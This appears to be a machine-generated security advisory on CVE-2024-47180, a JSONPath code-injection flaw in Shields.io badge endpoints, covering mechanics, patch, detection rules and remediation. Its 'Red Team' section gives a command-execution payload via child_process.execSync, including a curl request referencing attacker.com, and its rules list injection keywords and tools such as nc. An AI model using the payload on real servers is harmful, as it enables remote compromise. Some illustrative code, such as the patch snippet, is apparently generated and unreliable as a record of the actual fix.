CVE-2024-47180

Executive Summary

CVE-2024-47180 is a critical remote code execution (RCE) vulnerability affecting Shields.io, a popular service for generating SVG and raster badges. The flaw resides in the JSONPath library used by the Dynamic JSON/Toml/Yaml badge endpoints. An unauthenticated attacker can craft a malicious JSONPath expression, leading to arbitrary code execution on the server. The vulnerability impacts all self-hosted instances running versions prior to server-2024-09-25. The CVSS score is 8.8 (High), and while no public exploit code is available, the attack vector is straightforward via HTTP requests. Immediate patching or blocking the vulnerable endpoints is required.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a self-hosted service. However, the JSONPath library used by Shields.io is a third-party dependency. Organizations using Shields.io should verify the integrity of their Docker images and ensure they are pulling from the official shieldsio/shields repository.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): High (H) – full data access possible.
• Integrity (I): High (H) – full system modification possible.
• Availability (A): High (H) – full denial of service possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) in the JSONPath expression parser. Shields.io uses a JSONPath library to extract data from JSON, TOML, or YAML responses for dynamic badges. The library does not properly sanitize user-supplied JSONPath expressions, allowing an attacker to inject arbitrary code.

Attack Flow:

1. An attacker sends a GET request to one of the vulnerable endpoints:
   • /badge/dynamic/json
   • /badge/dynamic/toml
   • /badge/dynamic/yaml
2. The request includes a query parameter containing a malicious JSONPath expression.
3. The JSONPath library evaluates the expression without proper validation, executing injected code.
4. The attacker gains remote code execution on the server.

Example Malicious Request:

GET /badge/dynamic/json?url=https://example.com/data.json&query=$[?(function(){return process.mainModule.require('child_process').execSync('id').toString()})()]

This exploits the function() construct in JSONPath to execute arbitrary JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2024-09-25):

// In the badge generation logic
const result = jsonpath.query(data, userQuery);
// No sanitization of userQuery

Patched Code (server-2024-09-25):

// Sanitize the query to prevent code injection
const sanitizedQuery = sanitizeJsonPath(userQuery);
const result = jsonpath.query(data, sanitizedQuery);
// The sanitizeJsonPath function blocks dangerous constructs like function()

The patch introduces input validation to reject JSONPath expressions containing function calls or other executable constructs.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Shields.io instance using Docker:

   docker run -d -p 8080:8080 shieldsio/shields:server-2024-09-24
   

2. Prepare a JSON endpoint (e.g., using a simple HTTP server) that returns valid JSON.

Exploitation Steps:

1. Craft a malicious JSONPath expression to execute a command:

   $[?(function(){return process.mainModule.require('child_process').execSync('id').toString()})()]
   

2. Send the exploit request:

   curl "http://localhost:8080/badge/dynamic/json?url=http://attacker.com/data.json&query=%24%5B%3F(function()%7Breturn%20process.mainModule.require('child_process').execSync('id').toString()%7D)()%5D"
   

3. The server will execute the id command and return the output in the badge.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /badge/dynamic/json, /badge/dynamic/toml, and /badge/dynamic/yaml.
• Look for suspicious query parameters containing function(), require, exec, or other JavaScript keywords.
• Use WAF rules to block requests with JSONPath expressions containing parentheses or function calls.

Mitigation:

• Immediately update to server-2024-09-25 or later.
• If patching is not possible, block the vulnerable endpoints at the firewall or reverse proxy:

  location ~ ^/badge/dynamic/(json|toml|yaml) {
      deny all;
  }
  

• Restrict outbound network access from the Shields.io server to prevent data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /badge/dynamic/json, /badge/dynamic/toml, or /badge/dynamic/yaml with query parameters containing function(), require, exec, spawn, or child_process.
  • Unusual outbound connections from the Shields.io server to attacker-controlled IPs.
• File IOCs:
  • Unexpected files in the /tmp directory or application directory.
  • Modified or new files in the Shields.io installation directory.
• Process IOCs:
  • Unusual child processes spawned by the Node.js process (e.g., id, whoami, curl, nc).

Detection Engineering

YARA Rule

rule CVE_2024_47180_Shields_RCE {
    meta:
        description = "Detects malicious JSONPath expressions targeting CVE-2024-47180"
        author = "Valters IT"
        date = "2024-09-26"
        reference = "CVE-2024-47180"
    strings:
        $jsonpath_func = /function\s*\(/ nocase
        $jsonpath_require = /require\s*\(/ nocase
        $jsonpath_exec = /exec(?:Sync)?\s*\(/ nocase
        $jsonpath_spawn = /spawn\s*\(/ nocase
        $jsonpath_child = /child_process/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47180 Shields.io RCE Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Shields.io dynamic badge endpoints with suspicious JSONPath expressions
author: Valters IT
date: 2024-09-26
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem:
            - '/badge/dynamic/json'
            - '/badge/dynamic/toml'
            - '/badge/dynamic/yaml'
        cs-uri-query|contains:
            - 'function('
            - 'require('
            - 'exec('
            - 'spawn('
            - 'child_process'
    condition: selection
falsepositives:
    - Legitimate use of JSONPath with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47180 Shields.io RCE Attempt"; flow:to_server; content:"/badge/dynamic/"; http_uri; pcre:"/(json|toml|yaml)/"; pcre:"/(function\(|require\(|exec\(|spawn\(|child_process)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patching:

   • Update to server-2024-09-25 or later.
   • For Docker users: docker pull shieldsio/shields:next and restart the container.

2. Workaround (if patching is delayed):

   • Block access to the vulnerable endpoints at the firewall or reverse proxy:

     location ~ ^/badge/dynamic/(json|toml|yaml) {
         deny all;
     }
     

   • Implement WAF rules to filter malicious JSONPath expressions.

3. Long-term Measures:

   • Regularly update all dependencies, especially the JSONPath library.
   • Conduct security audits of third-party libraries used in the application.
   • Implement input validation and sanitization for all user-supplied data.

4. Monitoring:

   • Enable detailed logging for HTTP requests to badge endpoints.
   • Set up alerts for suspicious patterns in query parameters.

Report generated by Valters IT DevSecOps & CTI Expert System